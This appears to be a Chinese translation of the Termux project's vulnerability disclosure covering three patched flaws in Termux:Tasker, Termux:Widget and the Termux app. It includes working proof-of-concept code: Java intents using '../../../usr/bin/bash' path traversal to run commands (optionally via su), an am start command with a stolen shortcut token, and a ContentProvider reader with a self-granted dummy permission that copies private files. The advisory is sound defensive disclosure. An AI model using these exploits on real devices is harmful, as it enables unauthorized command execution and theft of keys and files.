Termux应用程序漏洞披露

这是 termux-apptermux-taskertermux-widget 的漏洞报告。

本报告发布于 2022-02-15, 距 离 termux-app v0.118.0 发布还剩30 天, 距离谷歌应用商店构建版本的程序被官方地使用添加在 termux-tools v0.135 中的终端横幅以及 添加带有弃用信息的 termux-app README 弃用大约有 150 天。 这应该已经为使用谷歌应用商店版本 (最新版本 v0.101) 的用户留出足够的时间来切换到在 F-Droid 或 Github 发布的 Termux 主程序以及其插件应用,并为其他 <= v0.117 版本的 Termux 应用程序用户提供足够的时间更新为 >= v0.118.0版本。

建议所有使用旧版本的用户立即更新到Termux v0.118.0Termux:Tasker v0.5 以及 Termux:Widget v0.13.0

目录

1. Termux:Tasker 权限提升漏洞

此漏洞允许其他程序在 termux 上下文执行 任意指令 。如果 termux 被其他应用赋予了 root 权限,甚至可以允许在 root 权限的环境中执行。

本漏洞首先存在于 v0.1 (2016-12-26) 版本, <= v0.4 的任意版本都会受到该漏洞的影响。本漏洞被修复于 v0.5 (2020-12-07).

该漏洞源于 Termux:Tasker 应用程序的 FireReceiver.java 文件中,该文件中没有对可执行文件的完整规范路径进行检查并按提供的原样执行。实际上, Termux:Tasker 应用程序仅允许执行 ~/.termux/tasker 目录中的脚本,以防止其他应用程序在 termux 上下文中执行任意命令,但没有对可执行文件进行规范路径检查。其他应用程序可以发送 ../../../usr/bin/bash 作为 executable 参数、 -c "some termux context command" 作为 args 参数以在 termux 环境中执行命令,或者发送 .. /../../usr/bin/su 作为 executable 参数、 -c "some root context command" 作为 args 参数以在 root 权限的环境中执行命令

注意,不一定是 Termux 插件的应用程序将 Intent 发送到 FireReceiver,任何应用程序都可以使用 Java 代码发送 Intent。 Termux:Tasker Exploit 给出了如何使用 Tasker 的 Java Action 来模拟一个普通的应用程序发送 Intent。

1. POC

Intent intent = new Intent("com.twofortyfouram.locale.intent.action.FIRE_SETTING");
intent.setClassName("com.termux.tasker", "com.termux.tasker.FireReceiver");

Bundle bundle = new Bundle();
bundle.putString("com.termux.tasker.extra.EXECUTABLE", "../../../usr/bin/bash");
bundle.putString("com.termux.execute.arguments", "-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2>/dev/null; sleep 5;\"");
bundle.putBoolean("com.termux.tasker.extra.TERMINAL", true);
bundle.putInt("com.termux.tasker.extra.VERSION_CODE", 4);

intent.putExtra("com.twofortyfouram.locale.intent.extra.BUNDLE", bundle);
context.sendBroadcast(intent);

2. 修复方式

  1. 目前,向 FireReceiver 发送 Intent 需要向调用应用程序授予 com.termux.permission.RUN_COMMAND,一个 危险 的运行时权限,该权限由 Termux app 发布。 在 v0.5 版本发布之前,从 v5.9.3 版本开始的 Tasker 应用已经请求过 RUN_COMMAND intent 权限。其他自动化测试应用需要在之后的版本 (26da42f7) 中请求此权限。

  2. 在执行之前, FireReceiver 首先 寻找并校验 executable 参数的规范路径。 从 v0.5 版本开始,正式支持允许执行 ~/.termux/tasker 目录之外的可执行文件,但前提是用户已经将 allow-external-apps=true 添加到 ~/.termux/termux.properties 中。 (a5af3db3)

这种由 Android 系统权限和应用程序设置绝对路径强制执行属性的双重权限模型提供了合理的安全性。除非用户将权限授予不受信任的应用程序,否则可以防止任何任意代码执行或权限提升。

访问 Termux:TaskerREADME 文件来获取更多详细信息。

3. 讨论

这种漏洞的存在,很大程度上是因为 任何程序都可以向自动化测试程序 (比如 Tasker) 的插件程序发送 IntentTasker ,以及它使用的 locale 插件协议库是在 2008 年左右创建的。当时,安卓系统不存在运行时权限,并且插件的安全性以及可能存在的危险使用方法可能在当时并不算是首要任务/关注点。 但是,对于被授予特殊权限 (例如设备管理员、设备所有者、Android 辅助功能 (无障碍服务),甚至存储、位置等) 的插件应用程序,它们的安全性确实尤其令人担忧。例如,SecureTask 插件,需要被设置为设备管理员,甚至许多功能需要被设置为设备所有者。如果用户在手机上安装了该应用程序,并授予 SecureTask 程序设备管理员的权限,那么任何应用程序都可以直接向其发送 Intent,而无需通过 Tasker 运行特权命令,包括 恢复出厂设置 等。

Termux:Tasker 所需要的 com.termux.permission.RUN_COMMAND 权限,要求 Tasker 等自动化应用程序在其 AndroidManifest.xml 中请求权限,但不能指望所有的插件都这样去做,因为添加这种权限需要自动化应用程序开发者的手动干预。此外,私有的插件可能存在自定义权限,他们的开发人员可能并不想公之于众。之后,可能需要设计某种令牌生成和验证机制,也许会作为 locale 库的核心部分。希望在不久的将来,Termux、自动化程序以及 locale 库的开发者可以一起协作来实现这种功能,因为当前的设计并不是所预期的。

2. Termux:Widget 权限提升漏洞

本漏洞允许任何 启动器程序termux 环境中执行 任意指令。如果 termux 被其他应用赋予了 root 权限,甚至可以允许在 root 环境中执行。在该启动器中, 任何的恶意应用程序 已经创建了一个快捷方式,该快捷方式启动了 Termux:Widget 的 shortcut chooser activity。当用户不小心点击了这个快捷方式时,无论该启动器是否为默认启动器,此漏洞都会被触发。

此漏洞首先存在于 v0.3 (2015-12-20)版本,从 v0.3<= v0.12 的任意版本均会受到该漏洞的影响。此漏洞被修复于 v0.13.0 (2021-09-23)版本。

Termux:Widget 的 "安全性" 通过 生成 Token 并将其存储在 SharedPreferences 中来实现。目前,启动器每次创建为静态快捷方式时,都会 发送这个Token 作为创建出的快捷方式 Intent 中的额外内容。当用户点击该快捷方式时,快捷方式的 Intent 由启动器应用程序发送并由 TermuxLaunchShortcutActivity 接收,并检查 Intent 中的 Token 与 SharedPreferences 中的Token 是否匹配。现在这种方式提供了不错的安全性,并且是 API 的一般工作方式。但是,旧版本的程序 没有进行规范路径校验,并将其按原样传递给 TermuxService。没有检查规范路径是否在 ~/.shortcuts 目录下。因此,一旦恶意的启动器或任何其他的应用程序收到 Token,它就可以随时执行任何命令,如用于前台命令的 "/sdcard/exploit.sh" 或者用于后台的 "/sdcard/tasks/exploit.sh" (Termux:Widget 会将其设定为后台任务,因为父目录名等于tasks)。

1. POC

  1. 安装 Termux:Widget v0.12.

  2. 通过 Termux Terminal 创建一个快捷方式: touch ~/.shortcuts/tasks/test

  3. 通过以下方式获取 Token: 安装并打开 TaskerLauncherShortcut, 点击 选项 (右上角的三个点按钮),选择 Search Shortcuts -> Static Shortcut -> Termux:Widget -> 选择任意一个快捷方式, Intent URI 会被复制到剪切板,比如 com.termux.file:/data/data/com.termux/files/home/.shortcuts/tasks/test#Intent;component=com.termux.widget/.TermuxLaunchShortcutActivity;S.com.termux.shortcut.token=22e30b81-5d67-4ee3-be0e-66169f637025;end。也可以通过 Termux Terminal 来获取 Token,在至少创建了一个快捷方式后,执行 cat /data/data/com.termux.widget/shared_prefs/token.xml

  4. 通过 Termux Terminal 创建漏洞利用脚本: echo 'whoami; su -c whoami; sleep 5' > /sdcard/exploit.sh

  5. 通过 Termux Terminal 或者 adb shell 触发此漏洞: am start --user 0 -n com.termux.widget/.TermuxLaunchShortcutActivity -d /sdcard/exploit.sh --es com.termux.shortcut.token 22e30b81-5d67-4ee3-be0e-66169f637025

或者从任何一个应用程序,执行以下 Java 代码:

	Intent intent = new Intent();
	intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
	intent.setData(Uri.parse("/sdcard/exploit.sh"));
	intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
	startActivity(intent);

Termux 应用程序将会执行使用 /data/data/com.termux/files/usr/bin/sh 执行 /sdcard/exploit.sh 脚本,/sdcard 被挂载为 noexec 也没有问题。

2. 修复方式

  1. 在 Android 版本 >=8 时,程序将使用 ShortcutManager API 来创建Pinned Shortcut。这是一个创建快捷方式的更好方法,因为启动器无法访问应用程序的快捷方式数据,Android 系统来储存这些数据,启动器应用程序无法获取 Token ,也无法运行任何不是由用户创建的快捷方式脚本。有关快捷方式类型的更多信息,请查看 https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types。 (e94d7777)

  2. 在旧版本上, Termux:Widget 创建的快捷方式和 Token 已经失效。如果恶意应用程序已经拥有这种 Token ,也无法再使用。Android >= 8 上的用户只能使用更安全的 Pinned Shortcut API 来重新创建这些快捷方式,而不是继续使用不安全的 Static Shortcut API。 (32f344ee)

  3. 在执行之前, 程序首先 寻找并校验 TermuxLaunchShortcutActivity 接收到的可执行文件参数的规范路径。即使某个程序发送的 Intent 发送了路径,损坏的符号链接,或者其规范路径不在 ~/.shortcuts~/.termux 目录下的快捷方式将 不会被显示,并且 后者会不允许被执行 。(32f344ee, 32f344ee, bcb0ab6c)

在 Android 版本 >=8 上使用 Pinned Shortcut,不允许执行规范路径不在 ~/.shortcuts~/.termux 目录下的文件,可以提供合理的安全性,防止任意代码执行或权限提升。Android 版本 < 8 时,仍然要使用 Static Shortcut,这些用户应该关注他们在哪些应用程序中创建了快捷方式,因为这些应用程序能够在允许的目录下执行任何脚本。这些用户通常应该去关注使用了哪些启动器,或者安装在他们的设备上的非启动器的快捷方式应用程序 (例如 Shortcut Maker),因为这些应用程序可以为其他应用程序执行危险的快捷方式,如果应用程序没有正确保护,可能会产生严重的后果。

查阅 Termux:WidgetREADME 文件来获取更多详细信息。

3. Termux 文件全局可读

本漏洞允许 /data/data/com.termux/files 下的 所有文件任何应用程序 可读。

本漏洞首先存在于 v0.47 (2017-02-28)版本,从 v0.47<= v0.117 的任意版本均会收到该漏洞的影响。本漏洞被修复于 v0.118.0 (2022-01-08)版本。

该漏洞存在于 Termux 的 ContentProvider 声明 中,因为设置了 android.permission.permRead 作为 readPermission。实际上,当用户请求使用另一个应用程序打开文件,比如使用 termux-open 时,Termux 会传递 FLAG_GRANT_READ_URI_PERMISSION 标志,所以目标应用不需要具有 android.permission.permRead 权限也可以读取文件,这也需要 provider 元素中声明 grantUriPermissions="true"。但是,如果某些应用程序有这个权限,它就可以通过 Termux TermuxOpenReceiver$ContentProvider.openFile()读取 files 目录下的任何文件。

问题是,正如 com.termux.permission.RUN_COMMAND 这种自定义权限一样,Termux 并未公开声明 android.permission.permRead 权限。这种未公开声明权限可以被称为虚拟权限 (dummy permission),可能是在添加 ContentProvider 时从一些教程或 StackOverflow 的回答中复制的,因为互联网搜索会显示来自不同站点的各种随机结果。这种虚拟权限本来应该被应用程序发布的自定义权限所替换,但事实上并非如此。这将会导致 任何应用 只需在自己的 AndroidManifest.xml 中发布这种权限,并通过 uses-permission 条目授予自己这种权限,就能够 读取 files 下的任何文件和目录。

注意,其他应用程序只能 读取 文件,但不能 写入 文件,因为 TermuxOpenReceiver$ContentProvider.openFile() 返回了一个使用 ParcelFileDescriptor.MODE_READ_ONLY 文件的文件描述符,因此无法写入,如果调用者尝试写入,将会得到 java.io.IOException: write failed: EBADF (Bad file descriptor) 错误。 provider 元素中也没有设置 writePermission。这仅仅防止了任意代码执行和权限提升,在某些情况下,情况仍然十分糟糕。

1. POC

下面这段 POC 将读取 /data/data/com.termux/files/home/.bashrc 并写入到 /sdcard/bashrc.txt

private void runTermuxContentProviderReadCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
    //Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
    InputStream inputStream = null;
    FileOutputStream fileOutputStream = null;

    try {
        inputStream = context.getContentResolver().openInputStream(uri);
        File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
        fileOutputStream = new FileOutputStream(outFile);
        byte[] buffer = new byte[4096];
        int readBytes;
        while ((readBytes = inputStream.read(buffer)) > 0) {
            Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
            fileOutputStream.write(buffer, 0, readBytes);
        }
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (inputStream != null)
                inputStream.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
<permission
    android:name="android.permission.permRead"
    android:description="@string/permission_termux_provider_description"
    android:icon="@mipmap/ic_launcher"
    android:label="Termux Provider"
    android:protectionLevel="normal" />

<uses-permission android:name="android.permission.permRead"  />

2. 修复方式

  1. Termux ContentProvider 的声明中,虚拟权限 android.permission.permRead readPermission悄悄地替换为 com.termux.permission.RUN_COMMAND。用于 RUN_COMMAND Intent 和其他插件执行命令的 com.termux.permission.RUN_COMMAND 权限来替换这个虚拟权限似乎是合适的,因为命令执行可以访问文件,并且对于第三方应用来说,请求单个权限会更容易。(b62645cd)

  2. TermuxOpenReceiver$ContentProvider.openFile() 返回的文件描述符中的模式,之前是 ParcelFileDescriptor.MODE_READ_ONLY,现在改为 以允许读和写或由 ParcelFileDescriptor.parseMode() 返回的任何文件模式。通过此更改,没有 com.termux.permission.RUN_COMMAND 权限的应用程序将被拒绝访问文件,除非通过 termux-open 授予临时的读取权限。对于具有该权限的应用程序,他们可以使用以下代码进行读写。注意,如果调用程序被强制开启分区存储机制 (例如 targetSdkVersion > 28 ),那么使用 File APIs (outFile.createNewFile()) 写入到外部储存将会失败。(b62645cd)

用于读取或写入 v0.118.0+ 的 termux 文件的示例代码
private void runTermuxContentProviderWriteCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/test.sh");
    FileOutputStream fileOutputStream = null;
    BufferedWriter bufferedWriter = null;
    ParcelFileDescriptor parcelFileDescriptor = null;
    try {
        parcelFileDescriptor = context.getContentResolver().openFileDescriptor(uri, "wt");
        Log.d(LOG_TAG, "parcelFileDescriptor: " + parcelFileDescriptor.describeContents());
        fileOutputStream = new FileOutputStream(parcelFileDescriptor.getFileDescriptor());
        bufferedWriter = new BufferedWriter(new OutputStreamWriter(fileOutputStream, Charset.defaultCharset()));
        bufferedWriter.write("echo 'some script'\n");
        bufferedWriter.flush();
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (parcelFileDescriptor != null)
                parcelFileDescriptor.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
            if (bufferedWriter != null)
                bufferedWriter.close();

        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

private void runTermuxContentProviderReadCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
    //Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
    InputStream inputStream = null;
    FileOutputStream fileOutputStream = null;

    try {
        inputStream = context.getContentResolver().openInputStream(uri);
        File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
        if (!outFile.exists())
            outFile.createNewFile();
        fileOutputStream = new FileOutputStream(outFile);
        byte[] buffer = new byte[4096];
        int readBytes;
        while ((readBytes = inputStream.read(buffer)) > 0) {
            Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
            fileOutputStream.write(buffer, 0, readBytes);
        }
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (inputStream != null)
                inputStream.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  
  1. 只有在 ~/.termux/termux.properties 中将 allow-external-apps 设置为 true 时才允许 Termux ContentProvider 访问文件。 如果在 v0.118.0 中,未将该值设置为 true,这也会导致 termux-openxdg-open 命令失败。将来的版本中,将添加错误通知。像 QuickEdit 这样的调用程序可能仍会弹出一个一闪而过的错误提示。查阅 https://github.com/termux/termux-tasker#allow-external-apps-property-optional 来获取有关如何更改选项中值的信息。 通过 ContentProvider 来写入 ~/.termux/termux.properties 的权限也被禁用,因此应用程序无法在未经用户同意的情况下修改 Termux 设置,尽管现在还可以使用 RUN_COMMAND Intent 执行这种操作,最后可能会实现白名单命令列表来给用户更多的控制权。 (dcedf394, e302a14c)

3. 讨论

对于使用 Termux 应用程序版本 <= v0.117 的用户,应该假定所有的私有文件 (例如 ssh 的安全密钥,或其他应用的加密密钥) 都已经泄露。强烈建议使用新的密钥替换任何此类密钥,并从 Termux 连接的任何远程服务器中查看是否存在任何可疑的授权访问。

仍然在使用谷歌应用商店版本的 Termux 用户,请 立即 切换到F -Droid 或 Github Release 的版本。尽管曾经可能会进行一些更新,但由于 Android 10 的一些问题,谷歌应用商店上的程序之后不会再继续更新。谷歌应用商店的构建版本已经在约 150 天前被弃用,也不会再提供任何支持。查阅 https://github.com/termux/termux-app#installation 来获取有关如何安装或更新 Termux 应用程序的更多信息。

理想状况下,谷歌应用商店、F-Droid 以及其他的应用商店也应该检查是否有任何其他应用程序正在使用 android.permission.permReadandroid.permission.permWrite 权限,或在应用程序的互联网搜索中有应用程序存在 ContentProvider 声明中的其他虚拟权限 (dummy permissions),并通知他们的开发者,因为这些应用程序也容易受到此类漏洞的攻击。此外,任何声明或请求这些权限的恶意应用程序也应该被发现并删除。

如果任何其他开发人员对 Termux 及其插件的应用程序代码进行审计,以查找其他潜在的安全漏洞并修复,从而为用户提供更安全的环境,我们将不胜感激。